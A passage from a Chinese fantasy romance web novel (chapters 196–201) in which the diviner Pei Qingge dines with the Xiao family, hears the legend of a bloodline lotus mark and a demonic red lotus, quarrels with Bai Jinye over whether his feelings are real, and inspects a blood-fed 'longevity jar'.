萧尺寒又摇了摇头,脸色有些凝重,犹豫了会才解释,“他的破解之法是要付出代价的,这代价已然越来越大。” 裴清歌嘴角的笑容微僵,“改名一事逆天而行,要付出的代价,未必比你现在付出的代价小。” 萧尺寒叹了口气,像是大概早就知道这样的答案,隔了会才收起脸上的落寞,换了话题,“那不知道裴先生哪日有时间可以到府上做客?” “我都可以,看你们方便吧。”裴清歌随意地道。 “好,那府上准备好,便着人来通知。”萧尺寒说着便起了身,“那就不耽搁先生了。” 裴清歌示意桑榆送客,之后见没什么客人了,便让桑榆关了门,自己上了二楼回了房间。 桑榆在楼下收拾好东西,看着楼上紧关的房门,微微抿起唇。 之前她在这边的时候,都是住在裴清歌房间的外间。 但是这一次,裴清歌却让她住在了鬼卿的房间,而且就连打扫房间都不用她,更不让她进去。 有几次她去门口叫裴清歌吃饭,裴清歌出来的时候,都是只把房门打开很小的缝隙,只够一个人进出,然后就迅速的关上门。 裴清歌回了房间,就会把门反锁,如果不在房间,就会在外面把房门锁好。 她觉得王妃好像哪里不一样了。 第196章 你开个条件吧 第二日萧尺寒就着人来普宁街告知裴清歌,说三日后来府上赴宴。 那日本来是她和白锦夜约好见面的时间,但如果去萧府,她和白锦夜约见的时间就要往后推了。 不过好在那天白锦夜也要去萧府,说不定可以在萧府找个时间简短的碰个面。 既然要去萧府,也总不能空手去,不过裴清歌也不打算带什么贵重的礼物,就让桑榆去买了两罐茶叶。 萧府距离裴府不太远,裴清歌本来也没在意这个事,但是路过裴府的时候,见裴府门口停了辆马车。 马车上正好有人下来,她随意地瞟了一眼,却发现下来的人是裴玲珑。 而且裴玲珑一身珠光宝气,身边跟着几个下人,抱着不少锦盒。 她微微皱了下眉,裴玲珑嫁到孟家,孟家可不会给她这么好的待遇。 只不过这念头只是冒出来,裴清歌也没有太在意,毕竟以后裴家和裴玲珑如何,跟她都没有什么关系了。 到了萧府,管家亲自迎她进了门,到堂上的时候,才见白锦夜已经在了。 萧尺寒正陪着他聊天。 裴清歌进门的时候,萧尺寒赶紧站了起来,白锦夜也就跟着起了身,她和白锦夜对视了一眼,便很快收回目光。 寒暄了几句,萧尺寒才道,“爷爷进宫面圣了,不过他也早就知道二位今日会来,所以午膳之前定会赶回来。” 本来定的赴宴就是午膳,所以裴清歌和白锦夜也就是临近午时才来,这会离萧公瑾回来大概也要不了太久。 裴清歌便低头喝茶,听着萧尺寒和白锦夜聊天,偶尔应和一两句,再解释下自己向来独来独往习惯了,不太习惯和别人交谈的场合,让萧尺寒别介意。 等厨房都准备好膳食,甚至来问萧尺寒要不要传膳的时候,萧公瑾才急匆匆的回来了。 他本人倒也没什么太师的架子,见到裴清歌和白锦夜便先赔了罪,说自己有事耽搁了些时间,怠慢了贵客,让他们别见怪。 之前萧尺寒都说了他是进宫面圣,什么时候出宫哪是他能决定的?能在午膳前赶回来就已经很好了,裴清歌和白锦夜自然表示理解。 去饭厅的路上,萧尺寒的父亲萧天阔才来,说是在忙着公事,回府虽然比萧公瑾早了片刻,但是怕他在白锦夜和裴清歌会不自在,毕竟他们的年纪和萧尺寒相仿,也有话题可以说,所以就没过来。 落座之后,听着萧公瑾跟白锦夜聊天,裴清歌才明白他们为什么请白锦夜来。 白锦夜顶着楚星玄的名号,而这萧公瑾竟然和楚云颂有些交情。 裴清歌微微眯了眯眼,也不知道两人这交情是怎么开始的,是不是也是楚云颂想要瓦解北冥国其中的一环。 好在白锦夜去过北冥国,见过楚云颂,又多少了解一些楚星玄,相比于萧公瑾和楚云颂多年未联系,很多事都能遮掩过去。 他们聊了会,萧公瑾才话锋一转,看向裴清歌,问起算卦的事情,他倒也直白,开口就问裴清歌师承何人。 “家传。”裴清歌只是简单回答,随即便也开口问道,“我见这萧府选址,在风水上来说,位置已经很好了,而且从门外开始,就有各种风水阵,这风水阵环环相扣,让整个萧府都笼罩在祥气之中,这手笔不知出自何人?” 大概因为是想要诚心相交,所以萧公瑾也没有隐瞒,“不瞒你,这风水之术,是我年轻时跟一个朋友所学,不过学到的东西,跟那位朋友相比,只是皮毛而已。” “萧太师谦虚了。”裴清歌笑道,“根据九宫飞星的规律,风水是一年一变,所以这府上的风水阵,也要每年调整一次,能一直维持这样的祥气环绕,没有极深的造诣,恐怕是设置不出来的。” 听裴清歌这么一说,萧公瑾便知道是遇到了同道中人,也幸好刚才没有用什么借口,不然自己的话一出,对方就知道自己说的不是真话,后面恐怕也难以诚意相待。 裴清歌顿了顿,才又道,“我之前去肃亲王府找我表哥,曾在王府里也见过一些阵法,这些不知道是不是跟萧太师有关?” 萧公瑾也没有否认,点了点头,“王爷身上阴气重,摆了个独阳阵,帮他散散阴气。” 裴清歌了然,阵法大概确实是萧公瑾摆的,但那影壁墙被人动了手脚,却不一定是萧公瑾所为,“原来如此。” 说完风水的事,萧公瑾便接着话头道,“之前听寒儿说,裴先生算卦极准,在这京中已经大有名气,今日请裴先生过府赴宴,确实有一事相求。” 他说完,看了一眼萧尺寒。 萧尺寒便接过了话,“就是之前我妹妹要算的卦。” “找人的卦,说不难也不难,但是有时也不容易。”裴清歌放下了筷子,“据我所知,萧小姐要找的人,可能已经不在人世了。” “肯定还在。”萧天阔听了这话,有点急,“他……” 萧公瑾轻咳了一声,打断萧天阔的话。 萧天阔怔了一下,才把后面的话咽回去,没再说话。 裴清歌这才又道,“我表哥毕竟在他府上做事,我有幸见过他几次,从他的面相看,他确实应该在去年离开人世。不过前几日萧小姐去我那里,说萧太师曾经给他看过命,他去年的死劫应该是绝处逢生。我没有见过他的八字,关于这一点也不好推断,萧太师若是有他的八字,我倒也可以再试试推算下。” 萧公瑾摇了摇头,“这一点,具体情况我也知道得不是很清楚,也是当时我那位朋友告诉我的。只不过后来那位朋友云游四海,已经多年不见,所以具体如何,我也没办法告知了。” 裴清歌想了会,才又问,“那帮萧公子化解刑克六亲的,也是这位高人么?” “这倒不是。”萧公瑾回道,“我那位朋友说这不好化解,是建议我们把寒儿送到寺庙出家的,但后来遇到了另外一位高人,教授了化解之法。” 裴清歌点了点头,对方没说具体的化解之法,她也就没再继续问下去,“你们就一定要找到那位么?万一他真的已经死了呢?” 萧公瑾叹了口气,直说,“裴先生开个条件吧。” 这一次裴清歌沉默了,没有说话。 萧尺寒赶紧道,“爷爷,咱们还是先吃饭吧,吃完饭可以喝喝茶,再聊这些。不然这么说下去,这满桌的膳食可要浪费了。” “是我心急了。”萧公瑾举起酒杯,赔了个罪,随即便开始聊些京中的风土人情,没再提起相关的话题。 等用完膳,几人到了后堂喝茶。 萧天阔似乎再也忍不住了,再次提起了刚才的话,“裴先生到底要如何,才能算这卦?” 第197章 妖莲 裴清歌把手里的茶杯放下,看了一眼白锦夜,才道,“我之前跟萧小姐说过,要算这卦,代价很大,这是其一,其二也是为了那位的安危着想,万一真的因为我算出了他的行踪,导致他遇到什么危险,我难辞其咎。最后一点……就算找到他了,他万一不愿意娶萧小姐呢?怎么样都是为难,我实在是找不到什么理由来算这卦。” “那……裴先生能不能先说说,代价大概是怎么样的?”萧公瑾开了口,只有知道代价,才能知道自己出什么样的价码对方才会动心。 “要确定一个人的位置,最好用他至亲之人的心头血做引。那位的至亲,都有谁,想必你们心里有数,有谁的心头血是我敢取的?这取心头血一事,稍有不慎,就伤及性命,但凡有个意外,我这条命可就没了。甚至不只是我,包括我的家人、家里的佣人,都可能会因此丧命。”裴清歌开口道。 “再者,算大概方位不难,可你们找起来就麻烦了。如果真的特别精准,甚至要加上他可能会随时变动位置这些因素,极其耗费精力,这一卦算完,我起码得休养十天半个月,这都不是重要的,重要的是我可能也会因此遭劫,至于是什么样的劫,我自己也不能确认。” “总之,这件事百害无一利。与其这样铤而走险,甚至付出各种代价之后,找到了那个人,那个人又不愿意娶萧小姐,这不是白白费力?那还不如早点死心,为萧小姐另谋良配。” 萧公瑾垂下眼,手指摩挲着袖口,沉默了半响才道,“如果这心头血的事,我来搞定,就算出了意外,也绝对不会找到裴先生的头上呢?并且我会想办法帮裴先生化解劫难。”他说着又看了看萧尺寒。 萧尺寒大概也明白他的意思了,对着他点了点头。 萧公瑾才又继续道,“不瞒裴先生,寒儿的刑克六亲之所以能化解,是因为当年那位高人给了我们一个护身之物,我们愿意把这护身之物转给裴先生,以来化解裴先生的劫难。” 裴清歌皱起眉头,这意思,就是要舍弃掉萧尺寒来保萧忆翎的婚事了?她犹豫了会,才问,“萧小姐,就必须要嫁给那个人么?” 萧公瑾点点头。 裴清歌沉默了下,“虽然这是你们的家事,我不该过问,但是此事确实牵扯甚大,如果没有一个能说服我的理由,即便我刚才说的那些你们都能解决,我也还是不能答应。” 萧公瑾这一次思索了很久,才问,“如果我们有足够的理由,你有多大的把握找到他。” “百分之百。”裴清歌说这话的时候,白锦夜死死地瞪着她。 她直接回绝了,这事不就一了百了了么? 等萧家真的找上他,他还得拒绝这婚事。 裴清歌也没在意白锦夜的目光,只是等着萧公瑾的回答。 两个人对视良久,最后萧公瑾看向萧天阔,微微点了点头,萧天阔便赶紧起身出去了。 片刻后,萧天阔带了一副画回来,当着几人面,打开了画。 这画上是一个女子的背影,女子肩披轻纱,隐隐地能看到女子的肩头,有一朵莲花花骨朵的模样。 只不过这莲花的颜色不红,是粉色的。 裴清歌一怔,下意识地看了白锦夜一眼,他也盯着那画,脸上露出几抹惊讶。她赶紧收回目光,脸上带了几丝迷茫,看向萧公瑾,“萧太师,不知这画是何意?” 听她这么问,白锦夜也立刻收回目光,低头喝茶掩盖掉脸色的不自然。 “这画中的女子,便是阿翎。”萧公瑾说着叹了口气,“阿翎肩上的莲花,不是画上去的,而是天生就有。这不是胎记,而是会关乎阿翎、甚至是整个萧家的命运的印迹。” “阿翎必须在二十岁之前,嫁给能让这莲花开花绽放的人。不然这花骨朵就会凋零,阿翎也会随之香消玉殒,而整个萧家,也会因此覆灭。” “这种事情,我倒是从未听说过。”裴清歌顿了顿才道,“人的身体,会长出莲花?” 关于血莲,她知之甚少,但这萧家似乎知道得不少,她倒是希望萧公瑾能多说一点。 “这确实关乎到一个极大的秘密……”萧公瑾说着停了下来,目光往白锦夜的身上瞟了一眼。 白锦夜见状,以为是萧公瑾不想当着他面说,正要起身离开的时候,便听他继续道—— “其实这件事,楚家多少应该知道一些。” 白锦夜犹豫了会,“那便听萧太师先说说,若是我想起哪些是我爹说过的话,便也如实告知。” 萧公瑾微微点点头,“这跟我们这一族的血脉相关,我们这一族,其实有十一个分支。” 裴清歌微微捏了下袖口,原来萧家也是“十一公”的后人! “我们继承的是上古血脉,这血脉,每隔千年就会觉醒一次,只在女子身上觉醒,但凡觉醒之人,肩头就有莲花的印迹。这传说,一代代传下来,本来也没那么多人相信了,直到我们在阿翎的身上看见。” “根据家族里传下来的说法,这莲花必须要以人血养成,但可不是一般人的血能养,而必须是血液里有阴气和阳气并存的人。” “其实这么多年,我们也尝试过,但任何人的血都不行。” “我们要找的那个人,是我所知道的所有人里,唯一一个符合这条件的,他也是我们这十一个分支其中一支的后人,那一支的人,可以通阴阳。其实换句话来说,就是不管这血脉在哪一个分支的人的身上觉醒,都必须要那一支的人来养。” 裴清歌轻轻抿了下唇,才问,“养成之后会如何?” “养成之后,我们这十一个分支的人,才能得以延续,不然恐怕都会有灭顶之灾。”萧公瑾顿了顿又说,“传说中也就是这样说,只是说如果不养成,全族会逐渐走向没落,最终十一支族人消失于世。” 裴清歌点点头,转头看向白锦夜,皱了下眉,没再说话。 白锦夜知道她大概是有其他的问题想问,但又不方便,只能靠他了。他想了会,才又看着那画问,“我看着画上画的莲花骨朵是粉色的,是故意画成粉色的,还是本身就是粉色?” “本身就是粉色。”萧公瑾回道。 白锦夜犹豫了会,才试探地问道,“我之前听我爹提过,但是我记得不是很清楚了,但是他那会好像说是红色的。” “也有红色。”萧公瑾对此给予了肯定,但很快又道,“但红色是妖莲。” 第198章 她会是最后一任圣女 “妖莲?”白锦夜有些诧异,“什么意思?” “哎,都是造孽。”萧公瑾摇了摇头,“因为有这个传说,所以族里就有人想要人为的觉醒血脉,这么多年来,尝试过无数的方法,基本上都失败了,最后只有一支族人看似是成功了,但是他们觉醒的血脉,长出的莲花,都是红色的。” “这虽然跟传说里的不一样,可是大概相差不差的,况且血脉很多年都没有觉醒过,谁也没有真正的见过血脉觉醒是什么样的,万一是记载里面错了,不是粉色而是红色呢?” “于是那个家族就尽心培养了当时以为血脉觉醒的那朵红莲,结果红莲养成之后,那姑娘成了妖,嗜血嗜杀,就像是只留下了本能,毫无人性,开始为祸人间。当时为了消灭这红莲,不知道死了多少族人,付出极为惨痛的代价之后,虽然没能彻底消灭她,但总算是用阵法把她镇压。” 裴清歌的手握成拳,脸色紧绷。 “好在当时培育红莲也不算容易,虽然有些姑娘身上也长出了红莲,但都活不到血莲成熟就死了。那朵红莲被镇压之后,族里也进行了清洗,把所有长了红莲的人,全都杀了。”萧公瑾重重地叹了口气,“之后也没人敢再逆天而行强行觉醒血脉了,本来我也以为我跟觉醒血脉这一事没什么关系,可没想到就偏偏在阿翎的身上觉醒了。” “当年那件事之后,十一支族人分崩离析,各自找了地方生活,基本上都失去了联系。过了这么多年,家族里传下来的东西,也有不少都失传了,只剩下些重要的,谁都不能再复当年十一支族人在一起时的荣耀。其实除了我们要找的那位,这些年我们也在到处寻找其他族人,但一无所获。那位就是我们已知的唯一一个了。” 裴清歌垂下眼,她之前就说过,为了延续血脉,会帮白锦夜找其他十个家族的后人,本来以为“神阵公”的后人应该是最好找的,目标也是放在“神阵公”这边,但没想到,萧家自己送上门来。 而且现在看起来,萧家要比“神阵公”的后人更加合适。 “那个红莲,镇压在哪?”白锦夜沉默了会,才开口问道。 “在北冥国。”萧公瑾答道,“据说把她镇压在那里之后,镇压之地没多久就变成了一片水池,里面长出了很多莲花。我曾经跟你爹通信的时候,也问过莲池的事,他说那里在北冥国是禁地,他也没有去过,只有北冥国的国君和维护法阵的北冥国圣女才可以去莲池。” 裴清歌自然知道莲池,她以前跟着师父不知道去过多少次,她身体里种下的血莲种子,就是来自于莲池。 所以虽然曾经的那个血莲被镇压,但是北冥国这么多年都没有放弃过培育血莲。 国君和白锦夜同宗同源,在北冥国,圣女身上的血莲靠国君的血来喂养,而她重生之后,恰好在白锦夜的身边,白锦夜的血正好可以喂养血莲。 但是圣女传承这么多年,也没有听说哪一任圣女成了妖。 那次见到裴姝的时候,裴姝曾经问她,有没有想过以前的圣女去了哪。 裴姝说,她们都去了遁世岛。 但是遁世岛到底在哪,谁也不知道。 说不定根本没有遁世岛这个地方,那些圣女,只是最后没能养成血莲而死。 所以师父跟她说,血莲养不成就会死。 “其实北冥国设置重重法阵,不与外界交流,极大的原因,都是因为这朵红莲。”萧公瑾又叹了口气。 “既然北冥国的存在,是为了镇压红莲,那当年‘围北之战’的时候,你为什么没有阻止?”裴清歌开口问道,“如果北冥国真的被三国攻破,外面的人不了解红莲之事,岂不是有可能会破坏法阵,把她放出来?” “这件事,也是我和楚老弟最后沟通时说过的事情。”萧公瑾说着顿了顿,“但当时楚老弟的意思是,普通人未必破得了那法阵,况且北冥国也不可能永远存在,顺应天命就是了。再后来‘围北之战’就开始了,我给楚老弟的信,再没能送出去过。” 裴清歌眯了眯眼,所以楚云颂应该也是知道了国君和圣女在重新培养红莲。 那他极大的概率也知道,她的身上有红莲的种子。 这一点,说不定也提醒过楚星玄。 他把楚星玄放在她身边,便是因为这个么? 蓦地,她又想明白,那次楚云颂冒了极大的风险,把她放出来,恐怕只是不想让她留在国君身边,不想让国君来养红莲。 而楚云颂极大概率还不知道白锦夜和国君的关系。 当时他们在楚家的密室里谈论的时候,楚云颂不在,等楚云颂回来的时候,她提到“神冥公”后人的时候,也只是看了白锦夜一眼,在楚云颂的眼里,恐怕就是觉得她说这句话的犹豫了下,不知道是不是该避着白锦夜这个外人。 所以楚云颂放她出来,根本就是想等着她身体里的血莲种子不能吸血逐渐死亡,那么北冥国就再也没有可以养血莲的人了。 楚星玄跟在她身边,估计也就是看着她,防止国君再接近。他可能只是知道不能让国君接近他,但是为了永绝后患,楚云颂又不见得把血莲的事情告诉他,这件事自然是越少人知道越好。 师父应该也是知道了这一点,才没有告诉她血莲种子要如何放进人体,圣女的人选要怎么去选,也叮嘱她不要再回北冥国。 因为他们所有人都在默认一件事—— 她就是最后一任圣女! 自她之后,这世上再也不会有圣女! 这才是他们要覆灭北冥国的真正原因! 裴清歌抿着唇,可师父把她重生在白锦夜的身边,又知不知道白锦夜的身份? “阿翎离二十岁越来越近,我们真的要尽快找到那个人了。”萧公瑾再次开口道,“所以希望裴先生,能帮我们算这一卦。” 裴清歌的脸色微白,好一会才道,“算这卦,我也要做些准备,这样吧,三日后能不能算这卦,我给你答复。能算固然好,如果不能算得特别准,我也会给你一个方位。” 萧公瑾知道她这就算是松口了,赶紧应下来,“好,那就等裴先生的答复了。” 裴清歌便站起身,“那就不叨扰了,我先回去了。” 白锦夜也跟着站起来,“来的路上,我的马车出了点问题,已经让车夫赶着马车先回去了,这会不知道能不能顺路搭一下裴先生的马车?” 第199章 对你来说,我就是个宠物,是么? 本来二人是约了今日碰面,但既然来了萧府,回头再立刻一起去吃饭,被人见到未免有些奇怪。 所以来的路上白锦夜就想好了理由,到了萧府就以马车轮子好像出了问题为由,让车夫赶着马车先回去了。 裴清歌看了他一眼,点了点头。 萧家人把二人送出门,看着马车离开,才一起往回走。 萧天阔忍不住开口问道,“爹,这事说出来合适么?” “眼下已经没有别的办法了。”萧公瑾叹了口气,“本来我们有人一直盯着肃亲王,但哪知道月城的事这么突然?失去他的行踪,想找就太难了。” “那裴先生说的话,可信么?”萧天阔又问。 “以他看风水阵的能力,再加上他说的那些,十有八九是可信的。”萧公瑾点点头。 萧天阔叹了口气,“只是让楚家公子也听到这些,不会有什么问题吧?” “他的话,算是对我们说的话的侧面佐证,不然裴先生也不见得会相信。”萧公瑾顿了顿,又看向萧天阔,语气严厉了起来,“天阔,你如今是越来越沉不住气了。” “我也是为阿翎的事情着急。”萧天阔脸色一赧。 萧公瑾摇了摇头,转头看向萧尺寒,这些儿孙里,他最满意的就是萧尺寒,可如今……“寒儿,若是那护身之物给了裴先生,你恐怕就要只能去寺里出家了。” 萧尺寒苦笑一声,“左右这些年在亲人身边的时间都是偷来的,我已经很知足了。反正我这天煞孤星的命,难有姻缘,也没有子嗣,为了亲人,在寺里度过余生,也没什么不好。” 萧公瑾眼里闪过一抹心痛,重重地叹了口气,往书房走了。 * 上了马车,裴清歌没有说话,依旧像是在想着什么。 白锦夜沉默了会,伸手握住她的手,“你别胡思乱想,既然萧太师都说,这传说传了这么多年,哪些是真,哪些是假,已经无从得知了,他知道的,也未必都是真的。” 裴清歌这才抬眼看他,“万一我身上的,真的是妖莲呢?” “不会的。”白锦夜皱起眉头,也伸手抱住她,“就算是,到时候我也还会跟你在一起,不管发生什么,我们都一起面对。” 裴清歌抬起手,轻轻推开他,“可你也听见了,如果你不给萧忆翎养她的那朵莲花,她可能会死,萧家人会死,所有‘十一公’的血脉,都会因此覆灭。” “帮她养就是了,我也没必要娶她。”白锦夜开口道。 “不。”裴清歌摇了摇头,又往后退了退,和白锦夜拉开些距离,隔了半响才道,“这莲花的养成,前面靠血,到了后面只靠血就已经不行了,若不是夫妻……你明白我的意思,所以你肯定要娶她。” 白锦夜怔了下,“刚才萧太师可没说这事。” “他是没说,萧忆翎还未出阁,这事他怎么当着我们两个外人说出来?所以他们才会一直强调,要你娶她。”裴清歌说着顿了顿,“在北冥国,这些年来,圣女的血莲都是国君来养成,圣女也不准成亲,无外乎就是要跟国君在一起。” “但我不会娶别人。”白锦夜沉着声音道。 “你可以置那么多人的生死于不顾么?”裴清歌看着他,“你也知道,‘神阵公’的后人都在守着长明灯,若是他的后人都没有了,长明灯灭了,那死的可就不只是这十一支的后人了。再说……你本来想要延续血脉,也只能娶另外十个家族的后人,这确实就是最好的选择。” 白锦夜摇了摇头,没有说话。 裴清歌抬手摸了摸自己的肩头,“所以我这朵血莲,也不能再养了。” “传说传了这么多年,我不想拿你的命和我们之间的关系来赌他们的传说是真的。”白锦夜盯着她,“我不会让你死,也不会去娶别人。” 裴清歌沉默了会,才继续道,“其实我刚到王府的时候,你挺讨厌我的,即便可能有些情绪是在被国君控制的情况下放大,但你本身,应该是讨厌我的。后来你的情绪转变,跟我把你炼制成冥尸有关系。” “冥尸也好,肉尸也好,本来就是会依赖主人,心里就是会把主人放在第一位,什么事都要围绕主人,都会第一时间考虑主人。” “这一点,鬼卿也一样。” 她说着手握了握拳,“我跟你说过,炼制冥尸之后不可逆,这确实是真的。但我机缘巧合之下,曾经得到过一枚丹药,可以让冥尸恢复成普通人,并且没有任何后遗症。” “我把鬼卿炼制成冥尸,没有经过他的同意。但是你成为冥尸,是一早你就知道的,你自己后来也是同意的,所以那枚丹药我给了鬼卿。” “他应该一直也没吃,等下次见了他,我把那药要过来给你。” “你已经过了你的死劫,命格已经变了,即便是吃了那药,也不会再受死劫的影响。没了冥尸这层因素影响,你对我……应该也不会再有这样的心思。” 白锦夜冷笑一声,“你的意思是,我现在对你所有的感情,并不是因为喜欢你,只是因为我是你炼制的冥尸,就像……就像宠物对主人一样?” “你也可以这么理解。”裴清歌垂下眼。 “你不愿意接受我,也是因为我在你心里,根本不是一个完整的人,只是你……养的一个宠物,就和你们圣殿里面其他的肉尸没有区别,是么?在你心里,宠物可以对主人忠诚,对主人奉献一切,但是也根本不会有资格跟主人谈情说爱,是么?”白锦夜说着脸色阴沉的快要滴出水来。 裴清歌皱了下眉头,没有说话。 “那么,我也不应该用这种语气跟你说话,是么?”白锦夜抬手抓住裴清歌的手腕,把她拽到自己跟前,说到最后,几乎是吼了出来,“我甚至也不应该反抗你的决定,你说什么我就该乖乖的去做什么,你让我吃药不再做冥尸,我就该去吃了那药,你让我去娶萧忆翎,我就该去娶她,并且我做这些都得心甘情愿丝毫,是么?” 第200章 恰好,我也这么想 裴清歌抬眼看着他,顿了顿,只是轻声道,“白锦夜,你别这样。” 白锦夜咬着牙,眼尾微红,隔了半响,声音又软了下来,“可你说过,你不会控制我,你也说过,成了冥尸和普通人没什么区别,我只想做个普通人。我以前不想做王爷,但是我背负的那些东西,让我不得不呆在这个位置上,它们压得我喘不过气,但我也得撑着,哪怕就是剩最后一口气,我也得为了它们活着。” “可是因为有你,才让我能下了这样的决心,我才会放下所有的一切,因为我想跟你在一起,我想只守着你,但那些都会成为我的束缚。我为了你,可以什么都不要,可以什么都不在乎。你能不能,稍微有一丁点儿,别这么理智,为我想一想,嗯?” “等你吃了那药,不再是冥尸的时候,或许就不这么想了。”裴清歌继续道。 “可如果我吃了之后,还这样想呢?”白锦夜又问。 “不会的。”裴清歌摇了摇头,“我没有什么可让你喜欢的,我也不喜欢你,我对你做的事情,只会让你厌恶我。就像……之前整个王府入狱,都是因为我,如果你那会不是半冥尸状态,只这一件事,就够你恨我了。” 白锦夜盯着裴清歌,胸口剧烈起伏,气得嘴唇都有些微微颤抖,半响后,他才放开手,“好,你把药拿回来,我吃,我吃!你让我做什么我就做什么,我有什么资格拒绝你对我的要求?只要你满意、你开心,这不就是我作为一个宠物该做的事么?”说完他掀开车帘,冷声对着车夫道,“停车。” 车夫刚刚就听到两个人像是在吵架,这会也不敢拒绝,赶紧停了下来。 白锦夜当即跳下了马车,往另外一个方向走了。 车夫顿了下,才对着马车里面小心翼翼地道,“先生,没事吧?” “没事,不用管他,走吧。”裴清歌有些疲惫地闭上眼睛。 接下来的两天,裴清歌照常开店,似乎像是并没有受到什么影响。 一直到第三天晚上,桑榆关门的时候,白锦夜才来。 桑榆对这个人有隐隐的印象,她记得他上次来的时候,没有摇卦,但是跟裴清歌聊了半响,那时候裴清歌还把她支开了。 她犹豫了下,还是没有让他进来,“抱歉,今天已经收摊,公子想要算卦,明日请早吧。” “我不算卦,找你们老板。”白锦夜微微皱了下眉头,开口道。 “老板已经休息了。”桑榆说着便要继续关门。 白锦夜抬手撑住门边,“我说几句话就走。” 桑榆脸上带着几抹为难,转头往楼上看了一眼,微微抿了下唇,犹豫了半响,最终还是说,“公子请回吧。” “那我就只能硬闯了。”白锦夜声音冷了下,他知道这个丫鬟在王府的时候,心就向着裴清歌,现在依旧还是这么护主,要不是看在这个份上,他早就想直接撞门进去了。 桑榆咬了咬唇,好在还没等说话,裴清歌的声音就从二楼传了过来,“让他进来吧。” “是。”桑榆这才点点头,开了门,让白锦夜进来。 裴清歌挥了挥手,桑榆便赶紧去后院了。 白锦夜走进门,见裴清歌的态度也不算多热络,他沉默了半响,才走上前,“我知道我不来找你,你也不可能去找我,但你明天就要给萧家答复了,我只是想知道,你打算怎么答复他们。” 裴清歌自然知道,他这个时候来,显然就是因为这件事,“你来找我,应该也不只是想要知道这个结果吧?” “是,我也希望能改变你的想法。”白锦夜开口道。 “看样子你已经知道我的决定了。”裴清歌说着走到一边坐下。 白锦夜看了看她,“你那天已经说了那么多理由,所以你大概也不太可能拒绝他们。”他说着顿了顿,“萧忆翎还有两年多才到二十,也不急于这一时。我希望你如果决定告诉萧家人我在哪,能把说辞改一改,就说我一年后,会准时上门找他们,但是这一年里,希望他们不要再到处找我节外生枝。” 裴清歌微微皱了一下眉头,“就这样?” “嗯。”白锦夜应了一声。 裴清歌垂下眼,像是在思索。 白锦夜以为她不想同意,便继续解释,“之前我们说三年之约,但现在看,最坏的结果就是已经不可能有三年了,那就一年也总归是可以。另外……我也不想听萧家的一面之词,这一年,我也会去查,如果他们说的是假的,那这件事就不必再提。如果是真的,一年之后,如你所愿。” 裴清歌这才抬起眼,“恰好,我也是这么想。” 白锦夜微微一怔,像是没想到她会这么说,这才走到她对面坐下,“你本来也没想直接答应他们么?” 裴清歌笑了笑,“我刚回京城,萧忆翎就找上门来,事情未免太巧了。不过萧公瑾的话,也不见得都是假的,至于几分真几分假,就有待商榷了。”她说着顿了顿,又道,“我以为你已经明白我的意思了。” 白锦夜看着她,还是没太懂她的意思。 “那天我跟萧公瑾说,想要找你,需要至亲的血。我想萧公瑾应该也找不到你真正的‘至亲’吧。换句话来说,若是他真的找到了,那这个人也就太可疑了。”裴清歌微微眯了眯眼。 “我当时只以为你要把我的行踪告诉他们了。”白锦夜微微有些尴尬,“当时已经根本没在意这些了。” “不过我现在倒是好奇,他们会说服谁来拿心头血找你。”裴清歌低声道。 白锦夜脸上有些无奈,他也是一直关注着萧家的动静,所以他们去找谁他一早就知道,“还能有谁……白墨。” 听到这个名字,裴清歌也恍然大悟,别人大概是真的都不会愿意,但是白墨……说不定萧公瑾微微透露些什么,他就主动送上门了。 第201章 长生坛与劫煞蜮 第二天一早,裴清歌先让桑榆去萧府传了话,说这卦可以算,下午的时候她会去萧府商量下具体的事情。 等她到萧府的时候,门口已经停了一辆马车。 管家把她带到了萧公瑾的书房,白墨正在跟萧公瑾聊天。 见到裴清歌进来,白墨一脸的激动,他赶紧起身迎了几步,开口问道,“先生你可还记得我?我曾在你那里算过卦的。” 裴清歌只是狐疑地看了看他,“抱歉,我这里每日算卦的人太多,可能记得不太清了。” 白墨的眼底闪过一抹失望,但又很快道,“也是,是我唐突了。” 萧公瑾便接过了话,“裴先生,这位是九皇子,他与肃亲王关系极好。” 裴清歌心里倒是知道,若不是关系极好,恐怕也不会被萧公瑾忽悠过来,她顿了顿,抬手抱拳,“原来是九皇子殿下。” 萧公瑾引了两人入座,才继续道,“九皇子听说……那位可能没死,又知道先生能找到那位的下落,这才愿意相帮。” 裴清歌笑了笑,看着白墨,“不知道萧太师有没有跟你说,这事需要你的心头血做引,而取心头血的过程,可是很危险的。” “萧太师已经说过了。”白墨点点头,正色道,“但若是能找到他,让我付出什么样的代价都可以。” “好。”裴清歌应下来,又看向萧公瑾,“那么第二件呢?” “第二件,恐怕裴先生需要移步跟老夫去看看了。”萧公瑾的话音落下,书房的门便被敲响,萧尺寒走了进来。 萧公瑾留下他陪着白墨,便带着裴清歌往后院走。 一边走,裴清歌一边状似无意地问道,“萧太师,这两日府上可出了什么事么?” 萧公瑾怔了一下,但也知道裴清歌这么问不会是空穴来风,便道,“没出什么事,不知道先生为什么这么说?” 裴清歌抬头环绕了一下,伸手指着萧府的东北角,“前几日来的时候,整个萧府都被祥气环绕,但今日我看那里好像缺了一个角。” 萧公瑾脸色微变,朝那边看了半响,才道,“多谢裴先生提醒。” 裴清歌也没再说话,既然对方没有问自己其他的问题,证明在风水一术上,他很是自信,也不需要外人的帮忙。 走到后院,有一个偏房,更像是暗堂,里面的光线不是很足,只在正中间摆了个供桌。 迈进门的时候,裴清歌就眯了眯眼。 萧公瑾走进去,先是上了柱香。 供桌上除了香碗和贡品之外,就只有一个玉石的坛子,显然这玉石坛就是他们供奉的东西,也是之前萧公瑾说的,化解萧尺寒刑克六亲的护身之物。 裴清歌沉默了会,等着萧公瑾上完香,才开了口,“萧太师,不知道这坛子里的是何物?” “这是长生坛。”萧公瑾看着面前的玉坛脸上带着恭敬,“可以帮人挡劫化煞,保佑家人长命百岁。” “是么?萧太师可打开过这坛子?”裴清歌又问。 萧公瑾摇了摇头,“那位高人说这坛子不可打开。” 裴清歌轻笑了一声,转身四处看了下,“我闻这里有血腥味,不知道平时都供奉些什么?” 说到这个,萧公瑾的脸色有些犯难,顿了顿,才说,“需要新鲜的血和动物心脏。” 裴清歌也转了一圈停下来,“萧太师,你们请我帮你们找人,这事本来就不好办,你说了那么多近乎关乎天下苍生的话,我才同意帮你们找人。你们说可以帮我化解劫难,搞了半天,就是为了把这个烫手山芋甩给我么?” 萧公瑾皱起眉,“裴先生这是何意?” “如果我没猜错,最近你们需要供奉的贡品越来越多了吧?”裴清歌说着瞥了坛子一眼,“你说府上没发生什么事,但那祥气破了,是跟这坛子有关系吧?” 